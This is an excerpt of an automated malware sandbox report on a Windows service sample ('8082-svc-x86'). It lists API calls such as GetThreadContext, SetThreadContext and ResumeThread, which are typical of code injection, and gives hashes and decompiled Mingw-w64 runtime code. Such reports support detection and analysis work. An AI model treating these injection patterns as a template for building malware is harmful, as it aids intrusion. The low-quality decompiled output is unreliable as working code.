GetThreadContext.KERNELBASE ref: 004015AA
SetThreadContext.KERNELBASE ref: 004015C6
ResumeThread.KERNELBASE ref: 004015D5

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: Thread$Context$Resume
String ID:
API String ID: 1758964557-0
Opcode ID: ca4048dfcce2c420b7409fc918d7f577c02211bd8ef02aaada51be421443b943
Instruction ID: e3afbc52406178a69938d050af70a123e6e104897d4bb1d54e9e47038afdbc58
Opcode Fuzzy Hash: ca4048dfcce2c420b7409fc918d7f577c02211bd8ef02aaada51be421443b943
Instruction Fuzzy Hash: E7F03AB4905319AFDB106F65DC886AFBBB8FF45700F00846EF98993200D7749841CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00401AF1 Relevance: 3.0, APIs: 2, Instructions: 24
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterServiceCtrlHandlerA.ADVAPI32 ref: 00401B4C

Part of subcall function 004019F4: GetTickCount.KERNEL32 ref: 004019FA
Part of subcall function 004019F4: sprintf.MSVCRT ref: 00401A64
Part of subcall function 004019F4: CreateThread.KERNELBASE ref: 00401A98

ExitProcess.KERNEL32 ref: 00401B70

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: CountCreateCtrlExitHandlerProcessRegisterServiceThreadTicksprintf
String ID:
API String ID: 248763407-0
Opcode ID: 69da967f0c2aad5b09e4986bcdea2cca4a80642f3356f0ece945b6e56364f809
Instruction ID: 8c3976775cc69de7025cabd4c9658cbed10f386fbbf842fb561edc54141d13a4
Opcode Fuzzy Hash: 69da967f0c2aad5b09e4986bcdea2cca4a80642f3356f0ece945b6e56364f809
Instruction Fuzzy Hash: 26F0D4B81092009BE300AF55ED5A33A7EF8B74230CF40952DD0884B2A1DBB9444ADFEA

Uniqueness

Uniqueness Score: -1.00%

Function 00401996 Relevance: 2.5, APIs: 2, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004019A6
Sleep.KERNELBASE ref: 004019BA

Part of subcall function 004018E6: CreateFileA.KERNELBASE ref: 00401933

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: CreateFileSleepmalloc
String ID:
API String ID: 1916127908-0
Opcode ID: 0517e300e59ab2153f44fca53430946416d187c3eaf1a4cfb0cb4c83fe55d822
Instruction ID: 062be89ead3d75a2b931cf507d46bd7b0747ac38d3bd804bf8dab91c6121db2f
Opcode Fuzzy Hash: 0517e300e59ab2153f44fca53430946416d187c3eaf1a4cfb0cb4c83fe55d822
Instruction Fuzzy Hash: 38F030B09093009BC700AF66DA8441ABFE8FB08358F41483EE688A3351D67499408B8A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00402A90 Relevance: 7.6, APIs: 5, Instructions: 51timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00402AE7
GetCurrentProcessId.KERNEL32 ref: 00402AFC
GetCurrentThreadId.KERNEL32 ref: 00402B04
GetTickCount.KERNEL32 ref: 00402B0C
QueryPerformanceCounter.KERNEL32 ref: 00402B1B

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: e11e2206374be67b3c3da8bbd86505e7a4505088eba51d33521fae351598e200
Instruction ID: 78646b3e1d5c86e1c06f6e21d60100cb63da4833f97e07ed5814b01204404a61
Opcode Fuzzy Hash: e11e2206374be67b3c3da8bbd86505e7a4505088eba51d33521fae351598e200
Instruction Fuzzy Hash: 3F1129B88083048FC710EF69D54821EBBF0BB89345F44493EEA8597350EE75EA558F86

Uniqueness

Uniqueness Score: -1.00%

Function 00402B60 Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00402BAF
UnhandledExceptionFilter.KERNEL32 ref: 00402BBF
GetCurrentProcess.KERNEL32 ref: 00402BC8
TerminateProcess.KERNEL32 ref: 00402BD9
abort.MSVCRT ref: 00402BE2

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: 3e07c674600e018cf393241923143bfb6f93070fd9807a6625289886196aa4f4
Instruction ID: 859cebbddd7a6eb95a4514aeef559e0a0fcf99abc68438dd33cb2a701fdc42d7
Opcode Fuzzy Hash: 3e07c674600e018cf393241923143bfb6f93070fd9807a6625289886196aa4f4
Instruction Fuzzy Hash: FA01E4B8808604CFD700EFA9E94964C7BF0BB06305F00843EED8887321EBB49445DF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401BC9 Relevance: 6.1, APIs: 4, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00401C25
GetProcAddress.KERNEL32 ref: 00401C4C
GetProcAddress.KERNEL32 ref: 00401C66
FreeLibrary.KERNEL32 ref: 00401CDA

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID:
API String ID: 2256533930-0
Opcode ID: a4febda0ee608bfac65e10639c290dac84c1ac7c0ebcb305557fb0bc80f4c26b
Instruction ID: 011540b2cccecd24dea3a42fb47be6b9ee2a79e2c3b2965efcde817b5523d879
Opcode Fuzzy Hash: a4febda0ee608bfac65e10639c290dac84c1ac7c0ebcb305557fb0bc80f4c26b
Instruction Fuzzy Hash: 633186785093008BE710DF28E98871A7BF0FB42305F44853ED4449B3A1D77DE885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004020D0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 185
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 19%

			E004020D0(void* __ebx, char* __ecx, signed int __edx, void* __edi, void* __esi, int _a4, char _a8) {
				intOrPtr _v16;
				intOrPtr _v20;
				int _v24;
				char _v32;
				signed int _v36;
				signed int _v52;
				void* _v60;
				char* _v64;
				intOrPtr _v68;
				char** _v76;
				char* _v88;
				void* _v96;
				char** _v104;
				char* _v116;
				char** _v124;
				signed int _v128;
				signed int _v140;
				char* _v144;
				char** _v148;
				void* _v213;
				char* _v232;
				signed int _v236;
				char** _v240;
				int _t118;
				signed int _t119;
				int _t122;
				void* _t127;
				long _t134;
				char** _t138;
				long _t154;
				intOrPtr _t159;
				long _t161;
				void* _t162;
				void* _t164;
				int _t176;
				long _t177;
				signed int _t179;
				char* _t181;
				char* _t182;
				signed int _t184;
				void* _t185;
				intOrPtr* _t186;
				char* _t189;
				intOrPtr _t192;
				char _t198;
				intOrPtr* _t201;
				signed int _t202;
				signed int _t209;
				signed int _t211;
				signed int _t214;
				signed int _t217;
				signed int _t225;
				intOrPtr _t232;
				signed int _t233;
				signed int* _t237;
				void* _t241;
				char* _t243;
				void* _t248;
				char** _t249;
				char** _t250;
				void* _t251;
				char** _t252;

				_t196 = __edx;
				_t189 = __ecx;
				_t249 = _t248 - 0x18;
				_v20 = 0x1b;
				_t181 =  &_a8;
				_v24 = 1;
				 *_t249 = "Mingw-w64 runtime failure:\n";
				_v16 = __imp___iob + 0x40;
				fwrite(__ebx, ??, ??, ??);
				_v20 = _t181;
				_v24 = _a4;
				 *_t249 = __imp___iob + 0x40;
				_t118 = vfprintf(??, ??, ??);
				abort();
				_t243 = _t189;
				_push(__edi);
				_push(__esi);
				_push(_t181);
				_t182 = _t118;
				_t250 = _t249 - 0x6c;
				_t190 =  *0x447058;
				_v124 = _t196;
				if(_t190 <= 0) {
					L22:
					_t228 = 0;
					goto L6;
				} else {
					_t179 =  *0x447054;
					_t241 = 0;
					do {
						_t196 =  *(_t179 + 4);
						if(_t182 < _t196) {
							goto L5;
						} else {
							_t214 =  *(_t179 + 8);
							if(_t182 < _t196) {
								_t228 = VirtualQuery;
								L10:
								_v144 = 0x1c;
								_v148 =  &_v116;
								 *_t250 = _t182;
								_t161 = VirtualQuery(??, ??, ??);
								_t250 = _t250 - 0xc;
								if(_t161 == 0) {
									L25:
									_v144 = _t182;
									_v148 = 0x1c;
									 *_t250 = "  VirtualQuery failed for %d bytes at address %p";
									E004020D0(_t182, _t190, _t196, _t214, _t228);
									_push(_t243);
									_push(_t214);
									_push(_t228);
									_push(_t182);
									_t251 = _t250 - 0x4c;
									_t122 =  *0x447050;
									__eflags = _t122;
									if(__eflags == 0) {
										 *0x447050 = 1;
										_t127 = E00402E30(0x0000001e + (E00402770(__eflags) + _t123 * 0x00000002) * 0x00000004 & 0xfffffff0);
										 *0x447058 = 0;
										_t252 = _t251 - _t127;
										 *0x447054 =  &_v213 & 0xfffffff0;
										_t122 = 0;
										__eflags = 0x446324 - 7;
										if(0x446324 <= 7) {
											goto L27;
										} else {
											__eflags = 0x446324 - 0xb;
											_t184 = 0x446324;
											if(0x446324 <= 0xb) {
												L44:
												_t216 =  *_t184;
												__eflags =  *_t184;
												if( *_t184 != 0) {
													goto L33;
												} else {
													_t83 = _t184 + 4; // 0x0
													_t231 =  *_t83;
													__eflags =  *_t83;
													if( *_t83 != 0) {
														goto L33;
													} else {
														goto L46;
													}
												}
											} else {
												_t122 =  *0x446324; // 0x0
												__eflags = _t122;
												if(_t122 != 0) {
													L33:
													__eflags = _t184 - 0x446324;
													if(_t184 >= 0x446324) {
														goto L27;
													} else {
														do {
															_t69 = _t184 + 4; // 0x0
															_t122 =  *_t69 + 0x400000;
															_t198 =  *_t122 +  *_t184;
															_t184 = _t184 + 8;
															_v32 = _t198;
															L1();
															__eflags = _t184 - 0x446324;
														} while (_t184 < 0x446324);
														goto L36;
													}
												} else {
													_t122 =  *0x446328; // 0x0
													__eflags = _t122;
													if(_t122 == 0) {
														_t122 =  *0x44632c; // 0x0
														__eflags = _t122;
														if(_t122 != 0) {
															L46:
															_t84 = _t184 + 8; // 0x0
															_t138 =  *_t84;
															__eflags = _t138 - 1;
															if(_t138 != 1) {
																L66:
																_v240 = _t138;
																 *_t252 = "  Unknown pseudo relocation protocol version %d.\n";
																E004020D0(_t184, _t190, _t196, _t216, _t231);
																0;
																0;
																_t201 = _v240;
																__eflags =  *_t201 - 0x5a4d;
																if( *_t201 != 0x5a4d) {
																	L68:
																	asm("repe ret");
																}
																_t108 = _t201 + 0x3c; // 0x40003ca1
																_t201 = _t201 +  *_t108;
																__eflags =  *_t201 - 0x4550;
																if( *_t201 != 0x4550) {
																	goto L68;
																}
																__eflags =  *((short*)(_t201 + 0x18)) - 0x10b;
																_t111 =  *((short*)(_t201 + 0x18)) == 0x10b;
																__eflags = _t111;
																return 0 | _t111;
															} else {
																_t186 = _t184 + 0xc;
																__eflags = _t186 - 0x446324;
																if(_t186 < 0x446324) {
																	do {
																		_t85 = _t186 + 8; // 0x0
																		_t202 =  *_t85 & 0x000000ff;
																		_t192 =  *_t186;
																		_t86 = _t186 + 4; // 0x0
																		_t122 = 0x400000 +  *_t86;
																		__eflags = _t202 - 0x10;
																		_t232 =  *((intOrPtr*)(_t192 + 0x400000));
																		if(_t202 == 0x10) {
																			_t217 =  *0x400000 & 0x0000ffff;
																			__eflags = _t217 & 0x00008000;
																			if((_t217 & 0x00008000) != 0) {
																				_t220 = (_t217 | 0xffff0000) - _t192 - 0x400000;
																				_t233 = _t232 + (_t217 | 0xffff0000) - _t192 - 0x400000;
																				__eflags = _t233;
																				_v36 = _t233;
																				goto L64;
																			} else {
																				goto L55;
																			}
																		} else {
																			__eflags = _t202 - 0x20;
																			if(_t202 == 0x20) {
																				_t209 =  *0x400000 - _t192 - 0x400000 + _t232;
																				__eflags = _t209;
																				_v36 = _t209;
																				goto L60;
																			} else {
																				__eflags = _t202 - 8;
																				if(_t202 != 8) {
																					_v240 = _t202;
																					 *_t252 = "  Unknown pseudo relocation bit size %d.\n";
																					_v36 = 0;
																					_t122 = E004020D0(_t186, _t192, _t202, _t220, _t232);
																				}
																				_t217 =  *_t122 & 0x000000ff;
																				__eflags = _t217 & 0x00000080;
																				if((_t217 & 0x00000080) == 0) {
																					L55:
																					_t220 = _t217 - _t192 - 0x400000;
																					__eflags = _t202 - 0x10;
																					_v36 = _t232 + _t217 - _t192 - 0x400000;
																					if(_t202 == 0x10) {
																						L64:
																						L1();
																					} else {
																						__eflags = _t202 - 0x20;
																						if(_t202 == 0x20) {
																							L60:
																							L1();
																						} else {
																							__eflags = _t202 - 8;
																							if(_t202 == 8) {
																								goto L58;
																							}
																						}
																					}
																				} else {
																					_t220 = (_t217 | 0xffffff00) - _t192 - 0x400000;
																					_v36 = _t232 + (_t217 | 0xffffff00) - _t192 - 0x400000;
																					L58:
																					L1();
																				}
																			}
																		}
																		_t186 = _t186 + 0xc;
																		__eflags = _t186 - 0x446324;
																	} while (_t186 < 0x446324);
																	L36:
																	_t190 =  *0x447058;
																	__eflags =  *0x447058;
																	if( *0x447058 > 0) {
																		_t185 = 0;
																		_t231 = 0;
																		_t216 = VirtualQuery;
																		do {
																			_t122 =  *0x447054 + _t185;
																			__eflags =  *_t122;
																			if( *_t122 == 0) {
																				goto L38;
																			} else {
																				_t196 =  &_v64;
																				_v236 = 0x1c;
																				_v240 =  &_v64;
																				 *_t252 =  *(_t122 + 4);
																				_t134 = VirtualQuery(??, ??, ??);
																				_t252 = _t252 - 0xc;
																				__eflags = _t134;
																				if(_t134 == 0) {
																					_t184 = _t185 +  *0x447054;
																					__eflags = _t184;
																					_v236 =  *(_t184 + 4);
																					 *_t252 = "  VirtualQuery failed for %d bytes at address %p";
																					_v240 =  *((intOrPtr*)( *(_t184 + 8) + 8));
																					_t138 = E004020D0(_t184, _t190,  &_v64, _t216, _t231);
																					goto L66;
																				} else {
																					_v232 =  &_v32;
																					_v236 =  *( *0x447054 + _t185);
																					_v240 = _v52;
																					 *_t252 = _v64;
																					_t122 = VirtualProtect(??, ??, ??, ??);
																					_t252 = _t252 - 0x10;
																					goto L38;
																				}
																			}
																			goto L71;
																			L38:
																			_t231 = _t231 + 1;
																			_t185 = _t185 + 0xc;
																			__eflags = _t231 -  *0x447058;
																		} while (_t231 <  *0x447058);
																	}
																}
																goto L27;
															}
														} else {
															_t184 = 0x446330;
															goto L44;
														}
													} else {
														goto L33;
													}
												}
											}
										}
									} else {
										L27:
										return _t122;
									}
								} else {
									_t162 = _v96;
									if(_t162 != 4) {
										__eflags = _t162 - 0x40;
										if(_t162 == 0x40) {
											goto L12;
										} else {
											_t225 =  &_v60;
											_v140 = _t225;
											_v144 = 0x40;
											_v148 = _v104;
											 *_t250 = _v116;
											VirtualProtect(??, ??, ??, ??);
											_t250 = _t250 - 0x10;
											_v144 = _t243;
											 *_t250 = _t182;
											_v148 = _v124;
											memcpy(??, ??, ??);
											_t164 = _v96;
											__eflags = _t164 - 0x40;
											if(_t164 == 0x40) {
												goto L13;
											} else {
												__eflags = _t164 - 4;
												if(_t164 == 4) {
													goto L13;
												} else {
													_v140 = _t225;
													_v144 = _v60;
													_v148 = _v104;
													 *_t250 = _v116;
													return VirtualProtect(??, ??, ??, ??);
												}
											}
										}
									} else {
										L12:
										_v144 = _t243;
										 *_t250 = _t182;
										_v148 = _v124;
										_t164 = memcpy(??, ??, ??);
										L13:
										return _t164;
									}
								}
							} else {
								goto L5;
							}
						}
						goto L71;
						L5:
						_t241 = _t241 + 1;
						_t179 = _t179 + 0xc;
						_t261 = _t241 - _t190;
					} while (_t241 != _t190);
					L6:
					 *_t250 = _t182;
					_t119 = E00402730(_t261);
					_t262 = _t119;
					_t214 = _t119;
					if(_t119 == 0) {
						L24:
						_v148 = _t182;
						 *_t250 = "Address %p has no image-section";
						E004020D0(_t182, _t190, _t196, _t214, _t228);
						goto L25;
					} else {
						_t211 = _t228 + _t228 * 2 << 2;
						_t237 =  *0x447054 + _t211;
						_t237[2] = _t119;
						 *_t237 = 0;
						_v128 = _t211;
						_t237[1] = E00402810(_t262) +  *((intOrPtr*)(_t214 + 0xc));
						_t228 = VirtualQuery;
						_v148 =  &_v88;
						_v144 = 0x1c;
						 *_t250 =  *( *0x447054 + _v128 + 4);
						_t154 = VirtualQuery(??, ??, ??);
						_t250 = _t250 - 0xc;
						_t196 = _v128;
						if(_t154 == 0) {
							_v144 =  *((intOrPtr*)( *0x447054 + _t196 + 4));
							 *_t250 = "  VirtualQuery failed for %d bytes at address %p";
							_v148 =  *((intOrPtr*)(_t214 + 8));
							E004020D0(_t182, _t190, _t196, _t214, VirtualQuery);
							goto L24;
						} else {
							_t159 = _v68;
							if(_t159 != 4) {
								__eflags = _t159 - 0x40;
								if(_t159 == 0x40) {
									goto L9;
								} else {
									_t196 = _t196 +  *0x447054;
									_v144 = 0x40;
									_v148 = _v76;
									_v140 = _t196;
									 *_t250 = _v88;
									_t176 = VirtualProtect(??, ??, ??, ??);
									_t250 = _t250 - 0x10;
									__eflags = _t176;
									if(_t176 != 0) {
										goto L9;
									} else {
										_t177 = GetLastError();
										 *_t250 = "  VirtualProtect failed with code 0x%x";
										_v148 = _t177;
										E004020D0(_t182, _t190, _t196, _t214, VirtualQuery);
										goto L22;
									}
								}
							} else {
								L9:
								 *0x447058 =  *0x447058 + 1;
								goto L10;
							}
						}
					}
				}
				L71:
			}

0x004020d0
0x004020d0
0x004020d1
0x004020d9
0x004020e1
0x004020e5
0x004020ed
0x004020f7
0x004020fb
0x00402104
0x00402108
0x00402114
0x00402117
0x0040211c
0x00402131
0x00402133
0x00402134
0x00402135
0x00402136
0x00402138
0x0040213b
0x00402141
0x00402147
0x00402312
0x00402312
0x00000000
0x0040214d
0x0040214d
0x00402152
0x00402154
0x00402154
0x00402159
0x00000000
0x0040215b
0x0040215b
0x00402163
0x00402240
0x004021f6
0x004021fa
0x00402202
0x00402206
0x00402209
0x0040220b
0x00402210
0x00402349
0x00402349
0x0040234d
0x00402355
0x0040235c
0x00402370
0x00402373
0x00402374
0x00402375
0x00402376
0x00402379
0x0040237e
0x00402380
0x00402390
0x004023ac
0x004023b1
0x004023bb
0x004023c4
0x004023ce
0x004023d3
0x004023d6
0x00000000
0x004023d8
0x004023d8
0x004023db
0x004023e0
0x004024d0
0x004024d0
0x004024d2
0x004024d4
0x00000000
0x004024da
0x004024da
0x004024da
0x004024dd
0x004024df
0x00000000
0x00000000
0x00000000
0x00000000
0x004024df
0x004023e6
0x004023e6
0x004023eb
0x004023ed
0x00402400
0x00402400
0x00402406
0x00000000
0x0040240c
0x00402411
0x00402411
0x00402419
0x0040241d
0x0040241f
0x00402422
0x00402428
0x0040242d
0x0040242d
0x00000000
0x00402411
0x004023ef
0x004023ef
0x004023f4
0x004023f6
0x004024bc
0x004024c1
0x004024c3
0x004024e5
0x004024e5
0x004024e5
0x004024e8
0x004024eb
0x00402605
0x00402605
0x00402609
0x00402610
0x0040261b
0x0040261f
0x00402620
0x00402626
0x0040262b
0x0040262d
0x0040262d
0x0040262d
0x00402630
0x00402630
0x00402633
0x00402639
0x00000000
0x00000000
0x0040263d
0x00402643
0x00402643
0x00402646
0x004024f1
0x004024f1
0x004024f4
0x004024fa
0x00402500
0x00402500
0x00402500
0x00402509
0x0040250b
0x0040250b
0x0040250e
0x00402511
0x00402517
0x0040255a
0x0040255d
0x00402563
0x004025c8
0x004025ce
0x004025ce
0x004025d0
0x00000000
0x00000000
0x00000000
0x00000000
0x00402519
0x00402519
0x0040251c
0x0040259a
0x0040259a
0x0040259c
0x00000000
0x0040251e
0x0040251e
0x00402521
0x00402523
0x00402527
0x0040252e
0x00402535
0x00402535
0x0040253a
0x0040253d
0x00402543
0x00402565
0x00402567
0x0040256f
0x00402572
0x00402575
0x004025d3
0x004025db
0x00402577
0x00402577
0x0040257a
0x0040259f
0x004025a7
0x0040257c
0x0040257c
0x0040257f
0x00000000
0x00000000
0x0040257f
0x0040257a
0x00402545
0x0040254d
0x00402555
0x00402581
0x00402589
0x00402589
0x00402543
0x0040251c
0x004025ac
0x004025af
0x004025af
0x00402435
0x00402435
0x0040243b
0x0040243d
0x00402443
0x00402445
0x00402447
0x00402462
0x00402467
0x0040246b
0x0040246d
0x00000000
0x0040246f
0x0040246f
0x00402472
0x0040247a
0x00402481
0x00402484
0x00402486
0x00402489
0x0040248b
0x004025e2
0x004025e2
0x004025eb
0x004025f5
0x004025fc
0x00402600
0x00000000
0x00402491
0x00402494
0x004024a0
0x004024a7
0x004024ae
0x004024b1
0x004024b7
0x00000000
0x004024b7
0x0040248b
0x00000000
0x00402450
0x00402450
0x00402453
0x00402456
0x00402456
0x00402462
0x0040243d
0x00000000
0x004024fa
0x004024c5
0x004024c5
0x00000000
0x004024c5
0x00000000
0x00000000
0x00000000
0x004023f6
0x004023ed
0x004023e0
0x00402382
0x00402382
0x00402389
0x00402389
0x00402216
0x00402216
0x0040221d
0x00402248
0x0040224b
0x00000000
0x0040224d
0x00402251
0x0040225b
0x0040225f
0x00402267
0x0040226f
0x00402272
0x00402274
0x0040227b
0x0040227f
0x00402282
0x00402286
0x0040228b
0x0040228f
0x00402292
0x00000000
0x00402294
0x00402294
0x00402297
0x00000000
0x00402299
0x0040229d
0x004022a1
0x004022a9
0x004022b1
0x004022c0
0x004022c0
0x00402297
0x00402292
0x0040221f
0x0040221f
0x00402223
0x00402227
0x0040222a
0x0040222e
0x00402233
0x0040223a
0x0040223a
0x0040221d
0x00000000
0x00000000
0x00000000
0x00402163
0x00000000
0x00402169
0x00402169
0x0040216c
0x0040216f
0x0040216f
0x00402173
0x00402173
0x00402176
0x0040217b
0x0040217d
0x0040217f
0x00402339
0x00402339
0x0040233d
0x00402344
0x00000000
0x00402185
0x0040218e
0x00402191
0x00402193
0x00402196
0x0040219c
0x004021ac
0x004021b3
0x004021b9
0x004021c2
0x004021ce
0x004021d1
0x004021d3
0x004021d8
0x004021dc
0x00402322
0x00402329
0x00402330
0x00402334
0x00000000
0x004021e2
0x004021e2
0x004021e9
0x004022c1
0x004022c4
0x00000000
0x004022ca
0x004022ce
0x004022d4
0x004022dc
0x004022e4
0x004022e8
0x004022eb
0x004022f1
0x004022f4
0x004022f6
0x00000000
0x004022fc
0x004022fc
0x00402302
0x00402309
0x0040230d
0x00000000
0x0040230d
0x004022f6
0x004021ef
0x004021ef
0x004021ef
0x00000000
0x004021ef
0x004021e9
0x004021dc
0x0040217f
0x00000000

APIs

fwrite.MSVCRT ref: 004020FB
vfprintf.MSVCRT ref: 00402117
abort.MSVCRT ref: 0040211C
VirtualQuery.KERNEL32 ref: 004021D1
VirtualQuery.KERNEL32 ref: 00402209
memcpy.MSVCRT ref: 0040222E

Strings

@, xrefs: 004022D4

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: QueryVirtual$abortfwritememcpyvfprintf
String ID: @
API String ID: 3828011698-2766056989
Opcode ID: 93006dcd21ba69e671770125f9119b73fbb8d255dfd776e40f17d5aa7b61a50d
Instruction ID: aca6899d8914c0cf2448bce2c6322e4ffc347bd34cb22077acd01095762b5043
Opcode Fuzzy Hash: 93006dcd21ba69e671770125f9119b73fbb8d255dfd776e40f17d5aa7b61a50d
Instruction Fuzzy Hash: DB712EB59093019FD700EF69D68851BFBE0FF85344F11896EE988A7391D7B8D844CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00402370 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 192
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00402370(void* __ebx, signed int __edi, void* __esi) {
				void* _v16;
				char _v32;
				signed int _v36;
				signed int _v52;
				void* _v61;
				char* _v64;
				char* _v80;
				signed int _v84;
				char** _v88;
				int _t50;
				void* _t55;
				long _t63;
				char** _t67;
				signed int _t80;
				void* _t81;
				void* _t82;
				char* _t85;
				char _t91;
				intOrPtr* _t94;
				signed int _t95;
				signed int _t102;
				signed int _t105;
				intOrPtr _t115;
				void* _t120;
				void* _t121;
				char** _t122;

				_t103 = __edi;
				_push(__edi);
				_push(__esi);
				_push(__ebx);
				_t121 = _t120 - 0x4c;
				_t50 =  *0x447050;
				if(_t50 == 0) {
					 *0x447050 = 1;
					_t55 = E00402E30(0x0000001e + (E00402770(__eflags) + _t51 * 0x00000002) * 0x00000004 & 0xfffffff0);
					 *0x447058 = 0;
					_t122 = _t121 - _t55;
					 *0x447054 =  &_v61 & 0xfffffff0;
					_t50 = 0;
					__eflags = 0x446324 - 7;
					if(0x446324 <= 7) {
						goto L1;
					} else {
						__eflags = 0x446324 - 0xb;
						_t80 = 0x446324;
						if(0x446324 <= 0xb) {
							L18:
							_t103 =  *_t80;
							__eflags =  *_t80;
							if( *_t80 != 0) {
								goto L7;
							} else {
								_t21 = _t80 + 4; // 0x0
								_t114 =  *_t21;
								__eflags =  *_t21;
								if( *_t21 != 0) {
									goto L7;
								} else {
									goto L20;
								}
							}
						} else {
							_t50 =  *0x446324; // 0x0
							__eflags = _t50;
							if(_t50 != 0) {
								L7:
								__eflags = _t80 - 0x446324;
								if(_t80 >= 0x446324) {
									goto L1;
								} else {
									do {
										_t7 = _t80 + 4; // 0x0
										_t91 =  *((intOrPtr*)( *_t7 + 0x400000)) +  *_t80;
										_t80 = _t80 + 8;
										_v32 = _t91;
										_t50 = E00402130( *_t7 + 0x400000, _t80, 4,  &_v32, _t103, 0x400000);
										__eflags = _t80 - 0x446324;
									} while (_t80 < 0x446324);
									goto L10;
								}
							} else {
								_t50 =  *0x446328; // 0x0
								__eflags = _t50;
								if(_t50 == 0) {
									_t50 =  *0x44632c; // 0x0
									__eflags = _t50;
									if(_t50 != 0) {
										L20:
										_t22 = _t80 + 8; // 0x0
